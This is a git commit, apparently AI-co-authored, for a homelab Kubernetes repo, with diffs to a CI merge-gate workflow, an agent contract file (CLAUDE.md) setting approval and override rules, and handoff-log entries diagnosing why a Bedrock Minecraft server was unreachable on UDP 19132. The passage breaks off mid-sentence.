feat(pihole): declare the admin password and adlists in git

Prerequisite for running more than one PiHole replica. A second replica with a
fresh PVC would have come up serving DNS and blocking nothing, with a different
admin password -- answers varying by which pod replied.

pihole.toml's own ### CHANGED markers gave the exact inventory: four settings
already came from env (declared), one came from the image, and exactly ONE
operator-set value lived only on the PVC -- webserver.api.pwhash, a one-way hash
nobody could recover. Separately the adlists were undeclared: one list and 72,234
gravity domains that nothing in this repo named.

Declares both:
- A SOPS secret feeding FTLCONF_webserver_api_password. webserver.api.password
  takes cleartext and FTL hashes it itself (verified: pihole setpassword IS
  setFTLConfigValue on that key), so the PVC's pwhash becomes derived state.
- A level-triggered postStart hook that reconciles the declared adlist set into
  gravity.db -- adds, re-enables, and disables (never deletes) undeclared lists,
  running pihole -g only when something moved. A file would not work: v6's
  adlists.list import is migration-only, guarded on the DB not existing.

The rendered hook was run in the live pod against throwaway copies of gravity.db,
exercising all four paths. A fresh DB built from the image's own schema template
has ZERO adlists, confirming this is load-bearing rather than cosmetic.

Password kept rather than set empty: the pihole Service still publishes port 80
past the oauth2-proxy, closed only by policy, and default-deny has drifted here
before.

Multi-replica is phase 2 and deliberately not in this branch -- it needs a schema
field, a StatefulSet (the config PVC is RWO), anti-affinity and a PDB.

Adds a *.sops.yaml -- a sensitive path -- so approval-policy will block pending
an operator /approve-override.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

.gitea/workflows/README.md

@@ -15,7 +15,7 @@ it touches is green** (R-TEST-03).
 ## The pipeline
 
 ```
- lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
+ decisions-log ─▶ lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
  └──────────────── run in CI, NO cluster ────────────────┘        └── in-cluster Chainsaw Job ──┘
                     live now                              cluster-gated (SKIPS in Phase 0)
 ```

.gitea/workflows/gate.yml

@@ -124,8 +124,17 @@ jobs:
       - name: Merge gate — ci/gate.sh (what `make -C ci gate` runs)
         env:
           GATE_STRICT_SKIPS: "true"
-          GITEA_SETTINGS_TOKEN: ${{ secrets.GITEA_SETTINGS_TOKEN }}
-          # REQUIRE_GITEA_SETTINGS: "true"   # <- uncomment AFTER seeing gitea-settings green
+          SETTINGS_API_TOKEN: ${{ secrets.SETTINGS_API_TOKEN }}
+          # ENABLED 2026-09-29. A skip of gitea-settings now BLOCKS instead of degrading to
+          # UNDETERMINED. Safe because THIS PR's own CI run is the proof: if the stage were
+          # skipping, this line turns that into a failure and the PR goes red instead of
+          # merging. Green here means the token resolved and the live Gitea matched the
+          # declaration in infra/gitea/expected-branch-protection.json.
+          REQUIRE_GITEA_SETTINGS: "true"
+          # ci/approval-policy.sh needs to know WHICH PR it is looking at, so it can read that
+          # PR's changed files and its reviews. Absent on a push event, where the stage is N/A.
+          GITHUB_EVENT_NAME: ${{ github.event_name }}
+          PR_NUMBER: ${{ github.event.pull_request.number }}
         run: ./ci/gate.sh || [ "$?" -eq 3 ]
 
       # NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4

CLAUDE.md

@@ -1,7 +1,7 @@
 # CLAUDE.md — how work lands in this repo
 
 Read this before doing anything durable. It is the delivery contract for AI coding
-sessions and agents. `DECISIONS-LOG.md`'s last entry is the current PM handoff and
+sessions and agents. The newest entry in `decisions/` is the current PM handoff and
 takes precedence on *what* to work on; this file governs *how* it lands.
 
 ## 1. Never push to `main`. Ever.
@@ -14,7 +14,58 @@ There is no other path. Specifically:
 
 - **Do not `git push origin main`.**
 - **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
-- **Do not merge your own PR.** A human approves and clicks merge.
+- **Do not merge your own PR.** See the approval model below — and either way, the merge is
+  someone else's action, never yours.
+
+### Who approves
+
+**The CI/CD pipeline is the approver.** A green gate is sufficient for an ordinary change; the
+branch requires no human approval for one. That is a deliberate transfer of authority, on the
+operator's stated principle: *if the pipeline is not good enough to be trusted for this, it is not
+good enough to do its job and needs improving* — so a weak gate is a bug to fix, not a reason to
+add a human.
+
+**One exception, enforced by `ci/approval-policy.sh`:** a change to the pipeline itself, the
+admission policies, the Flux wiring, the SOPS recipients, the RBAC, or this file needs an
+approving review from someone who is not its author. The reason is narrow and structural — **a
+change to the gate cannot be gated by the gate.** A PR that weakens a check would be approved by
+the weakened check. Everything else merges on green.
+
+The path list is data, with a reason per entry: `infra/gitea/approval-policy.json`. It is itself a
+sensitive path, so the policy cannot be widened or narrowed without a human.
+
+That stage is **fail-closed** — if it cannot evaluate, it blocks. Unlike `gitea-settings`, where a
+missing credential is a lock-out, here a skip would be a bypass.
+
+**The administrator override (2026-10-01).** The rule above was unsatisfiable for the one human
+who runs this repo: Gitea refuses to let an author approve their own PR, and `jakman85` is the
+only collaborator — so a sensitive-path PR the operator opened could never be merged, *including
+the PR that would fix that.* An administrator may therefore waive the review by posting this on
+the PR:
+
+    /approve-override <reason>
+
+**Post it as a PR *review* of type "Comment", not in the plain comment box.** CI's
+`SETTINGS_API_TOKEN` is minted `[read:repository, read:admin]`, and `/issues/{n}/comments` sits
+behind Gitea's *issue* scope — so an override typed into the comment box is **invisible to CI**,
+and the stage reports it as a missing approval rather than as a permission problem (measured on
+PR #38, 2026-10-02). `/pulls/{n}/reviews` is readable, so a review body works today. Both sources
+are accepted and the gate names which it used; the comment box starts working once
+`infra/gitea/set-ci-token.sh` is re-run to pick up `read:issue`.
+
+The directive must **start a line**, the **reason is mandatory**, the poster's `admin`/`owner`
+permission is re-checked **live** when the gate runs, and it must be **newer than the
+head commit** — push again and you must override again. The overrider, the timestamp and the
+reason are printed in the gate log and the job summary. For an administrator, "a change to the
+gate cannot be gated by the gate" is therefore **advisory, not structural**; what is kept is an
+attributed record of each waiver. Note that the agent account `gitea-admin` also holds `owner`
+here, so an agent *can* clear this on its own PR — **do not**: posting that directive to unblock
+your own agent work is exactly the self-approval the stage exists to prevent. Get the operator
+to post it, or move the change out of the sensitive paths.
+
+**`required_approvals` on `main` is `0`**, not 1 — the gate is the approver. That drops the
+approval *count* only: `block_admin_merge_override` and `enable_status_check` both remain `true`,
+so **a red gate is unmergeable by everyone, administrators included.**
 - **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
   anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
 
@@ -32,12 +83,19 @@ Verified against the live Gitea on 2026-09-29:
 | `main` protected, direct push rejected | ✅ `protected: true`, `user_can_push: false` — **verified by a real rejected push**, not by the API's word |
 | PR blocked until the gate passes | ✅ `enable_status_check: true`, context `gate / gate (pull_request)` |
 | Gate runs on every PR | ✅ runner `incluster-dind` online; ~1m35s |
-| Approval required before merge | ✅ `required_approvals: 1` |
+| Gate cannot be overridden, by anyone | ✅ `block_admin_merge_override: true` |
+| Human approval required before merge | ⬜ **No — `required_approvals: 0` since 2026-10-01.** The gate is the approver; sensitive paths are gated by `ci/approval-policy.sh` instead. See §1 |
 
-All four were FALSE as recently as 2026-09-29, while this repo's own log asserted they were
+The first three were FALSE as recently as 2026-09-29, while this repo's own log asserted they were
 true. They are true now because each was measured, and the push rejection was provoked rather
 than assumed. **Re-measure before relying on any of them** — see §2b.
 
+The fourth row deliberately changed on 2026-10-01. `required_approvals: 1` was a **lock-out**, not
+a protection: with a single collaborator and Gitea refusing author self-approval, nothing could
+satisfy it (measured on PR #35 — green gate, zero reviews, unmergeable). It also contradicted the
+model already written into `ci/approval-policy.sh` and `ci/gate.sh`. Rationale and the live-change
+script: `infra/gitea/allow-admin-self-merge.sh`.
+
 Still not covered: `vars.CLUSTER_AVAILABLE` is unset, so **L2/L3 conformance does not run in
 CI**. A green PR therefore proves the L0/L1 offline subset, not runtime behaviour.
 
@@ -48,9 +106,10 @@ reports as `success`, so a green tick is not by itself evidence that anything ra
 
 ## 2b. Never infer platform state from this repository
 
-**This repo is not evidence about the live platform.** Neither is `DECISIONS-LOG.md`.
-Both describe what someone believed at the time of writing, and both have been
-confidently wrong for a month at a stretch.
+**This repo is not evidence about the live platform.** Neither is the handoff log
+(`decisions/`, and the frozen `DECISIONS-LOG.md` archive). Both describe what someone
+believed at the time of writing, and both have been confidently wrong for a month at a
+stretch.
 
 On 2026-09-29 the log stated the merge gate was a required status check with a runner
 online. The API said `branch_protections: []` and **zero** runners. Everything downstream
@@ -139,9 +198,32 @@ invocations concurrently.
   flow. Do not design around committing one — read the expiry from the issuing page and
   treat a burnt token as free to retry.
 
-## 7. Before you finish
+## 7. Before you finish — write a handoff entry, in its OWN file
 
-Append a handoff entry to `DECISIONS-LOG.md` describing what you changed, what you
-verified, and what you did **not** verify. State gaps plainly — an honest
-"UNVERIFIED" is worth more than an optimistic "green", and this repo has already been
-burned by the difference.
+Add **one new file**:
+
+    decisions/YYYY-MM-DD-<slug>.md          <slug> = your branch's last segment
+
+with frontmatter (`date`, `branch`, `title`) and exactly these three sections:
+
+    ## What changed
+    ## What I verified
+    ## What I did NOT verify
+
+State gaps plainly — an honest "UNVERIFIED" is worth more than an optimistic "green",
+and this repo has already been burned by the difference. All three headings are
+**enforced** by `ci/decisions-log.sh`, because the third is the one that gets dropped.
+Template and full rationale: `decisions/README.md`.
+
+**Do NOT append to `DECISIONS-LOG.md`.** It is a frozen archive (pre-2026-09-29), its
+SHA-256 is pinned in `decisions/ARCHIVE.sha256`, and the merge gate rejects any change
+to it. Appending to its tail is what every agent used to do, and because every branch
+appended to the *same last hunk*, no two concurrent branches could auto-merge. Measured
+on 2026-09-29: **four of the five open PRs were `mergeable: false`, with
+`DECISIONS-LOG.md` the only conflicting path in all four** — none of those changes had
+anything to do with each other. Separate files have nothing to merge, which is the
+entire fix. Note that the damage from getting this wrong lands on *other people's*
+branches, later, which is why it is a gate stage and not a request.
+
+Many older handoff entries and runbooks say "append to `DECISIONS-LOG.md`". That
+wording is **stale**, in the same way §1's `git push origin main` wording is stale.

DECISIONS-LOG.md

@@ -1,3 +1,16 @@
+> **FROZEN ARCHIVE — 2026-08-16 … 2026-09-29. Do not append to this file.**
+>
+> New handoff entries go in **`decisions/`**, one file per entry
+> (`decisions/YYYY-MM-DD-<slug>.md`). See [`decisions/README.md`](decisions/README.md).
+>
+> Why: every agent appended to this file's tail, so any two concurrent branches
+> conflicted on the same last hunk. On 2026-09-29 that made four of the five open PRs
+> unmergeable, with this file as the *only* conflicting path in all four. Separate files
+> have nothing to merge.
+>
+> This file's SHA-256 is pinned in `decisions/ARCHIVE.sha256` and the merge gate
+> (`ci/decisions-log.sh`) rejects any change to it.
+
 # Autonomous Session Decision Log (PM)
 
 Program Manager working independently while the operator is AFK (started 2026-08-16). Every
@@ -5109,3 +5122,612 @@ next L2/L3 piece on top of unmerged branches would create a rebase tangle for no
 cannot land any faster. The next piece is specified and ready to start once these are merged:
 `docs/plans/l2-l3-conformance-ci-wiring.md` §3, with §4's credential model now decided and its
 boundary landed in #13.
+
+## 2026-09-29 — Bedrock "cannot connect on 19132": the platform delivered the packets, the server never opened the socket
+
+**Branch:** `fix/crafty-bedrock-19132` → PR to `main`. **Read-only diagnosis; nothing was applied.**
+**Gate:** see "Gate" below — quote it, do not round it up.
+
+### The report, and what actually refuses
+
+Reported as "users are unable to connect to Crafty Minecraft servers listening on UDP port 19132
+(Bedrock, slot 0)". No client type, no error text, no history.
+
+**Nothing was listening on UDP 19132.** A Bedrock server exists and its process is alive, but it is
+not speaking RakNet, so it never binds a UDP port. The entire network path below it is correct and was
+measured as such, including *counted packets that arrived and were allowed*.
+
+The chain, each line a measured field with the command that produced it:
+
+1. **The server exists and runs.** `kubectl -n crafty exec … -c crafty -- ps -ef`:
+   `crafty 46689 1 ./bedrock_server`, started 20:54, cwd
+   `/crafty/servers/c5837301-12b1-404e-b50e-70eafb37226b`. Crafty's DB (`select * from servers` via
+   `/crafty/.venv/bin/python`, read-only URI) row 2: `server_name='K3s-Bedrock'`,
+   `type='minecraft-bedrock'`, `server_port=19132`, `created='2026-09-29 20:51:53'`.
+   So hypothesis "the operator never created a Bedrock server" — the PM's prior favourite, and mine —
+   is **false**. It was created ~20 minutes before I looked.
+2. **Nothing is bound to UDP 19132.** `cat /proc/net/udp` and `/proc/net/udp6` in the crafty
+   container: **no `4ABC` local port in either family**. IPv4 UDP held nothing but an ephemeral
+   (`BBBF`=48063); IPv6 UDP nothing but `1D7F`=7551. Meanwhile `/proc/net/tcp6` line 0 is
+   `…:4ABC … 0A` — port 19132 is bound, as **TCP**, LISTEN. (Java's 25565 = `63DD` and Crafty's
+   8443 = `20FB` are both there in `tcp6`, so the Java server is genuinely up.)
+3. **Why: `transport=nethernet`.** `grep -v ^# server.properties` on the Bedrock server dir:
+   `server-port=19132`, `server-portv6=19133`, **`transport=nethernet`**, `enable-lan-visibility=true`.
+   The file's own shipped documentation, quoted verbatim: `# Allowed values: "raknet" or "nethernet"`,
+   and above `server-portv6`: `# This property is ignored when transport=nethernet and a dual-stack
+   socket will be opened on server-port instead`. NetherNet is the WebRTC/Xbox-signalled transport —
+   it opens no RakNet UDP listener. Consistent with the pod's outbound `tcp` entries to
+   `150.171.110.177:443` / `.178:443` (Microsoft) and the churning ephemeral UDP sockets.
+4. **Nobody set that; it is the vendor default.** `server.properties` mtime `Sep 29 20:52` equals the
+   `bedrock_server` binary's — untouched since extraction — and `grep -rn transport
+   /crafty/app/classes/minecraft/` returns **nothing**: Crafty has no code that reads or writes this
+   property. So a freshly-downloaded BDS of this build **never** listens on `19132/udp`, and no amount
+   of Crafty-side configuration changes that.
+5. **The failure is observable from inside the pod, from localhost.**
+   `grep raknet /crafty/logs/commander.log`, every 5–30 s since 21:02:
+   `WARNING - app.classes.remote_stats.raknet_ping - Got timeout while issuing bedrock ping to
+   127.0.0.1:19132`. Crafty's only Bedrock health probe is `raknet_ping.py` (`ls
+   /crafty/app/classes/remote_stats/`), so the panel is asking the right question and getting silence
+   **over loopback**. That single line eliminates every network hypothesis at once.
+6. **Real player traffic reached the pod and was permitted.** `cilium-dbg bpf policy get <crafty ep>`
+   on `cilium-wdh82` (k3s-prod-1):
+   `Allow Ingress reserved:world 19132/UDP … BYTES 27660 PACKETS 26`.
+   **26 packets of world traffic were allowed in on 19132/UDP.** The policy did not drop them; the
+   application had no socket to receive them. `reserved:remote-node 19132/UDP` is also an Allow (0
+   bytes — the packets landed on the node that both announces the VIP and runs the pod, so no second
+   hop), which re-confirms the 2026-09-14 finding that `cluster` subsumes `remote-node` here.
+
+**Verdict: this is not a platform defect and not a manifest defect. It is the Bedrock Dedicated
+Server's default `transport=nethernet`, plus a README that told the operator creating a server on
+19132 was sufficient.** The repo-side defect is documentation, and that is what this branch changes.
+
+### The platform path, measured sound (so the operator can rule it out for good)
+
+| Claim | Measured |
+|---|---|
+| `crafty-l4-udp` really is `Cluster` | `kubectl get svc crafty-l4-udp -o yaml` → `spec.externalTrafficPolicy: Cluster` (the 2026-09-14 fix IS live, not just in git) |
+| VIP allocated | `status.loadBalancer.ingress[0].ip: 192.168.2.22`, `ipMode: VIP`, condition `cilium.io/IPAMRequestSatisfied=True reason=satisfied` |
+| Backends exist | EndpointSlice `crafty-l4-udp-68kws` → `10.0.0.130`, ports `19132,19133,19134` |
+| Datapath frontend present | `cilium-dbg service list` on **both** k3s-prod-1 and k3s-prod-3: `192.168.2.22:19132/UDP LoadBalancer 1 => 10.0.0.130:19132/UDP (active)` — i.e. any node can serve it, which is exactly what `Cluster` is for |
+| Policy admits it | datapath policy map, `Allow Ingress reserved:world 19132/UDP` (+ `host`, `remote-node`, `unmanaged`, `init`, `health`, `kube-apiserver`) |
+| LAN DNS resolves | `nslookup crafty-mc.home.keithjackson.dev 127.0.0.1` in the pihole pod → `Address: 192.168.2.22` |
+| Flux applied current `main` | Kustomization `crafty` `.status.lastAppliedRevision = main@sha1:20ea70d…` == GitRepository `flux-system` `.status.artifact.revision = main@sha1:20ea70d…` |
+
+### A real second finding: the shared VIP's two leases sit on DIFFERENT nodes
+
+`kubectl -n kube-system get lease … | grep l2announce`:
+
+    cilium-l2announce-crafty-crafty-l4-tcp   k3s-prod-3
+    cilium-l2announce-crafty-crafty-l4-udp   k3s-prod-1
+    cilium-l2announce-unifi-unifi-l4-tcp     k3s-prod-2
+    cilium-l2announce-unifi-unifi-l4-udp     k3s-prod-2
+    cilium-l2announce-pihole-pihole-dns-tcp  k3s-prod-3
+    cilium-l2announce-pihole-pihole-dns-udp  k3s-prod-3
+
+Crafty is the **only** shared-VIP pair that is split: **two nodes ARP-announce `192.168.2.22`
+simultaneously.** unifi and pihole happen to be co-located. This is the per-Service, backend-blind
+election described in `service-l4.yaml` doing exactly what that comment says it does — and it is a
+*coincidence* that the other two pairs agree, not a property.
+
+**I am not calling this the bug, and I am not changing anything for it**, because under
+`externalTrafficPolicy: Cluster` it is benign by construction: `cilium-dbg service list` shows the
+full frontend set with an active backend on **both** announcing nodes (table above), so whichever
+node's ARP reply a client caches, the packet is forwarded to the pod. The cost is ARP-cache churn on
+LAN clients, not a black hole — and this is why the 2026-09-14 `Local`→`Cluster` flip was the right
+fix rather than a lucky one. **No new L0 check is warranted:**
+`conformance/tests/l0-static/l2-announced-vips-serve-from-any-node/check.sh` already forbids
+`Local` on any announced Service tree-wide, which is precisely the invariant that makes a split
+harmless. An additional "shared-VIP pairs must be co-located" check would assert a *runtime* lease
+placement a static check cannot see, and Cilium offers no field to pin it.
+
+### Hypotheses tested and discarded, so nobody re-runs them
+
+- **Wrong port / IPv6-only bind (h2).** Partly right in shape, wrong in mechanism: `server-port=19132`
+  is correct and the process is not v6-only — it binds *no* UDP port at all. Measured, not assumed.
+- **Shared-VIP ARP split (h3).** Real (above), not causal.
+- **`Cluster` not actually live on the UDP Service (h4).** False; it is live, with datapath to match.
+- **Loaded policy ≠ git policy (h5).** False; dumped the BPF map, 19132/UDP is an Allow and has
+  counted traffic.
+- **SNAT collapsing RakNet sessions (h6).** **UNTESTED AND UNTESTABLE TODAY** — there is no RakNet
+  session to collapse. It remains a live theory for *after* the transport is fixed: Cilium is in SNAT
+  mode (no `loadBalancer.mode: dsr`), so every LAN player will reach the server as one address, and
+  RakNet keys sessions on source `ip:port`. Nothing was measured about masquerade port-reuse or UDP
+  conntrack here. Do not treat this paragraph as evidence of anything.
+- **DNS (h8).** False; pihole answers `192.168.2.22` (table above).
+- **Client-side realities (h7).** Not the *cause* of a dead socket, but they will be the next wall:
+  LAN/Friends discovery cannot work behind a VIP, and consoles cannot type a server address. Both are
+  now documented in `platform/crafty/README.md` rather than left for the next person to rediscover.
+
+### What changed in this repo
+
+`platform/crafty/README.md` only. **No manifest was touched** — the manifests are provably correct,
+and adding ports or widening policy for this would have been manufacturing work to look productive.
+Added: *"Bedrock on UDP 19132 — the transport trap"* (the measurement chain above, and the
+`raknet_ping` warning as its signature), *"Bedrock realities that are NOT platform defects"* (no LAN
+discovery, consoles, the `enable-lan-visibility` collision with slots 1–2, `server-portv6`). Corrected
+three stale claims: "the operator has **not created any servers yet**" (two exist), the human test
+that implied a started Bedrock server on 19132 is reachable, and the single-server *Runtime state*
+section (now a two-row table).
+
+### What I did NOT verify — read this before acting
+
+- **That `transport=raknet` fixes it is REASONED, NOT OBSERVED.** It follows from the shipped property
+  docs (`Allowed values: "raknet" or "nethernet"`; `server-portv6` "ignored when
+  transport=nethernet") and from the absence of any UDP bind under `nethernet`. Editing
+  `server.properties` is a write to application state on the PVC, which is an operator action, so I
+  did not try it. **Nobody has seen a packet answered on 19132/udp on this cluster.**
+- **No end-to-end LAN test.** I never sent a RakNet unconnected-ping from a LAN host to
+  `192.168.2.22:19132`. I did not need to: the same ping fails from `127.0.0.1` inside the pod.
+- **Nothing was applied.** No `kubectl apply/edit/patch/scale`, no `flux reconcile`, no file written
+  inside the container. The running pod is still `crafty-64f7b6d78-pkpgp` (2/2, 15d, 0 restarts) on
+  the **pre-`fix/crafty-oauth2-proxy-signin`** spec — that PR is still unmerged.
+- **Who those 26 packets came from is unknown.** Byte/packet counters prove arrival and permission,
+  not identity. I did not run a live `cilium monitor` or `tcpdump`, so "users were trying and being
+  ignored" is a strong inference, not a captured flow.
+- **The Java server's reachability was not tested.** `25565` is bound (`tcp6 63DD LISTEN`) and its
+  datapath frontend is active on both nodes, but no client connected during this session. The TCP
+  lease being on k3s-prod-3 while the pod is on k3s-prod-1 is `Cluster` working as designed — asserted
+  from the service table, not from a connection.
+- **The NetherNet side was not explored.** Whether this server is currently joinable *at all* through
+  Xbox/Friends signalling (its actual transport) is unknown and untested.
+- **Bedrock slots 1 and 2 (19133/19134) have never had a server.** The `enable-lan-visibility`
+  collision I documented for them is read from the shipped comment, not provoked.
+
+### Operator actions required (I cannot do any of these)
+
+1. **Make the Bedrock server speak RakNet.** In Crafty: stop `K3s-Bedrock`, edit
+   `/crafty/servers/c5837301-12b1-404e-b50e-70eafb37226b/server.properties` →
+   `transport=raknet`, start it. Then confirm the socket exists before telling anyone it works:
+   `kubectl --context k3s-prod -n crafty exec <pod> -c crafty -- grep 4ABC /proc/net/udp /proc/net/udp6`
+   should now show a wildcard bind, and the `raknet_ping` timeout warnings in
+   `/crafty/logs/commander.log` should stop. **Both checks, not one.**
+2. **Then tell the players how to connect.** Windows/mobile client → **Add Server** →
+   `crafty-mc.home.keithjackson.dev`, port **19132**. It will *not* appear in the LAN/Friends tab, and
+   a Switch/Xbox/PlayStation client cannot reach it at all. If the reported users are on consoles,
+   step 1 will not help them and the answer is "unsupported without a DNS redirect".
+3. **Fix `auto_start` on the new server.** DB row `K3s-Bedrock` has `auto_start=0` **and**
+   `crash_detection=0` — the create-API trap already documented in this repo, live again.
+   `PATCH /api/v2/servers/c5837301-…` setting both true, **and read them back**. Until then the
+   Bedrock server does not survive a pod restart — and merging
+   `fix/crafty-oauth2-proxy-signin` restarts the pod (`strategy: Recreate`, RWO volume), stopping
+   *both* Minecraft servers.
+4. **Optional, cosmetic:** to stop two nodes ARP-announcing `192.168.2.22`, delete
+   `lease/cilium-l2announce-crafty-crafty-l4-tcp` in `kube-system` and let it re-elect — a 1-in-3
+   chance of landing on k3s-prod-1. Not worth doing: under `Cluster` the split costs nothing but ARP
+   churn, and a redraw is equally random.
+5. **After step 1, watch for the SNAT/RakNet question (h6 above)** — if a *second* simultaneous player
+   evicts the first, that is the SNAT theory becoming real and it needs its own measured
+   investigation (masquerade port reuse, UDP conntrack), not a guess.
+
+## 2026-09-29 (later) — Bedrock IS reachable on 19132/udp. The `TRANSPORT TYPE ERROR` banner is advisory, and the last entry's "REASONED, NOT OBSERVED" call has now been OBSERVED — correct
+
+**Do not read this as overturning the previous entry's recommendation. It confirms it.** What it
+overturns is the conclusion the operator and I both drew from the server's *reaction* to it.
+
+### The sequence
+
+The entry above ended with operator action 1: stop `K3s-Bedrock`, set `transport=raknet`, start it —
+explicitly flagged **"REASONED, NOT OBSERVED … Nobody has seen a packet answered on 19132/udp on this
+cluster."** The operator did it. `/crafty/logs/audit.log`, measured:
+
+    21:32:32  issued command stop_server for server K3s-Bedrock
+    21:33:31  Edited file /crafty/servers/c5837301-…/server.properties
+    21:33:58  issued command start_server for server K3s-Bedrock
+
+BDS then printed, at ERROR level, `================ TRANSPORT TYPE ERROR ===================` /
+`Your current connection type is not set to NetherNet. In this release, NetherNet is the only supported
+transport type.` / `Players will not be able to connect to your game without NetherNet.` That was
+reported to me as *"the server rejected it"*, and I was briefed to treat the shipped property comment
+(`Allowed values: "raknet" or "nethernet"`) as stale relative to the binary and to write up an
+architecture finding: that BDS is NetherNet-only, can never bind `19132/udp`, and that the whole
+`crafty-l4-udp` exposure is therefore inert.
+
+**That brief was wrong, and so was the inference behind it. The server did not reject anything.**
+
+### What is actually true (all OBSERVED, 2026-09-29 21:38–21:41)
+
+- `./bedrock_server` pid **47006** is running, started 21:34 and still up — it printed that banner and
+  carried on. It did not exit and Crafty did not restart it.
+- It **bound the RakNet sockets**: `/proc/net/udp` `00000000:4ABC` (19132/IPv4) and `/proc/net/udp6`
+  `…:4ABD` (19133/IPv6), both owned by that pid (`/proc/47006/fd/25`, `fd/26` → those inodes). The
+  **TCP** bind on `4ABC` that the last entry measured under nethernet is **gone**.
+- Crafty's warning changed kind at that exact moment: last `Got timeout while issuing bedrock ping` at
+  **`21:34:04,306`**, first `Bedrock ping returned a string with too few fields` at **`21:34:09,854`**
+  (155 timeout lines, then 86 answered and counting). Per `raknet_ping.py`, `Got timeout` is emitted
+  *only* when `sock.recv` raises `TimeoutError`; `too few fields` is reachable *only after* a `0x1C`
+  Unconnected Pong arrives **and its magic validates**. The listener answers.
+- **The end-to-end test the last entry admitted it had never run, run:** a RakNet Unconnected Ping from
+  the toolbox on the LAN (host network, off-cluster) to the prod VIP **`192.168.2.22:19132`** returns a
+  139-byte `0x1c` pong in ~12 ms, magic valid:
+
+      MCPE;Dedicated Server;2193;1.26.52;0;10;11676629557768398479;Bedrock level;Survival;1;19132;19133;0;0;0;
+
+  BDS **1.26.52**, protocol 2193, 0/10 players. `:19133` returns the **same** pong from the same
+  `server_guid` (that is `enable-lan-visibility=true`, now observed rather than read off a comment);
+  `:19134` times out, correctly. **A Bedrock player on this LAN can connect right now.**
+- The vendor's own doc on the PVC, `bedrock_server_how_to.html` (shipped in the same archive as the
+  binary, same mtime 20:52), documents `transport` as *"raknet, nethernet"* and: *"**raknet** — The
+  traditional Bedrock UDP transport. The server listens directly on `server-port` (IPv4) and
+  `server-portv6` (IPv6), and clients connect to that address and port."*
+- RakNet is still fully compiled in: `strings bedrock_server` yields `RakNetConnector`,
+  `createUniqueRakPeer`, `RakPeerInterface`, and the vendored build path
+  `/mnt/vss/_work/1/s/handheld/src-deps/raknet/raknet/RakNetSocket2.cpp`.
+
+So `NetherNet is the only supported transport type` is a **support** statement, not a **capability**
+one. Microsoft declines to support RakNet and ships it working, at ERROR log level, in 1.26.52.
+
+### Why nethernet could never have worked here anyway — a finding the last entry missed
+
+The same vendor doc explains the last entry's oddest measurement (19132 bound **TCP**): nethernet
+*"listens on a single dual-stack **TCP** socket on `server-port` for an HTTP-based signaling handshake,
+then negotiates a UDP connection with each client."* And this repo exposes **no TCP 19132**:
+`crafty-l4-tcp` carries 25565-25567 only, and `crafty-allow-ingress` allows `19132 UDP` and not
+`19132 TCP`. The signaling port was unreachable at the Service layer *and* the policy layer. The
+server's own `packet-statistics.txt` for that 2293-second nethernet run agrees: `Total Received: 0, 0B`.
+The 26 packets / 27660 bytes the last entry found on the `19132/UDP` policy map were players' RakNet
+pings arriving at a port where nethernet had opened no UDP socket. Consistent, and now closed.
+
+### Where the reasoning failed — the part worth keeping
+
+The previous entry's reasoning was **sound and its recommendation was right**; it was correctly
+labelled as unobserved, and the observation vindicated it. The failure was downstream, in reading the
+server's response:
+
+1. **An ERROR-level log line was read as a refusal.** It was a deprecation notice. Nothing checked
+   whether the process survived it or what it bound — and both were one command away.
+2. **"The vendor comment is stale relative to the binary" was asserted from the binary's *complaint*,
+   never from the binary's *behaviour*.** The binary had two other testimonies on disk — the shipped
+   how-to, and its own symbol table — and both said `raknet` works. Neither was consulted.
+3. The tiebreak between two contradicting vendor statements is never a third piece of prose. It is
+   `/proc/net/udp` and a pong on the wire. That is what settled it, in about four minutes.
+
+This is CLAUDE.md §2b applied one level further in: don't infer platform state from the repo, **and
+don't infer application state from the application's own error message.** Query the socket.
+
+### Decision and recommendation
+
+**Keep `transport=raknet`. No manifest change.** `service-l4.yaml`, `networkpolicy.yaml` and the
+`containerPort`s were already shaped for exactly RakNet and are now proven end-to-end rather than
+assumed. Ranked alternatives, all rejected for today and written up in the README:
+
+1. **Keep `transport=raknet`** — zero manifest change, works now, vanilla parity, real Bedrock world.
+2. **GeyserMC + Floodgate** on the existing `homelab` Paper server — also zero manifest change (Geyser
+   itself binds `19132/udp`, so the existing Service is already correct), held in reserve for the day
+   RakNet is genuinely removed. It **cannot run alongside** the live BDS: both want 19132. Cost is that
+   Bedrock players join the **Java** world. Geyser's current Bedrock-version support is
+   **external and unmeasured**.
+3. **Pin/downgrade BDS** — unnecessary (the current build speaks RakNet) and fragile.
+4. **PocketMine-MP / Nukkit** — no; loses vanilla parity and world format.
+5. **Accept NetherNet** — worst option: it needs *more* manifest work than the one that already works
+   (TCP 19132 in `crafty-l4-tcp` **and** in `crafty-allow-ingress`, plus `server-udp-ports` pinned and
+   exposed), and WebRTC media behind a shared VIP and SNAT is unproven here.
+
+The 19132-19134/UDP exposure **stays** and is **not** inert. That part of the brief is refuted.
+
+### What changed in this repo
+
+`platform/crafty/README.md` only — again **no manifest touched**, and this time that is a measured
+conclusion rather than a cautious one.
+
+- Replaced *"the transport trap"* with a two-trap section: nethernet hides the UDP socket, and then the
+  `TRANSPORT TYPE ERROR` banner frightens you into reverting the fix. Records the full evidence chain,
+  the vendor how-to quotes, the binary symbols, and the off-cluster pong.
+- Documented that Crafty's perpetual `too few fields - missing values [None]` warning is the **success**
+  signature, not a failure: BDS 1.26.52's pong has 16 `;`-fields, Crafty 4.10.8's
+  `pingpong_string_fields` knows 14 and wants an empty terminator, gets `'0'`. Cosmetic. The failure
+  signature is the *other* message, `Got timeout`.
+- Added the ranked options table with each option's manifest consequence, and an *"If RakNet is ever
+  really removed"* section naming Geyser+Floodgate as the migration with the exact PVC/panel steps.
+- Upgraded the `enable-lan-visibility` note from "read off a comment" to OBSERVED, and **corrected** the
+  claim that `19133` is unreachable — it is reachable, on IPv4, and slot 1 genuinely is occupied.
+- Corrected the **Game VIP**: the README stated `192.168.1.55` as fact. That is the base/dev value;
+  `clusters/prod/kustomization.yaml` patches `CRAFTY_L4_VIP` to `192.168.2.22`, which is the live
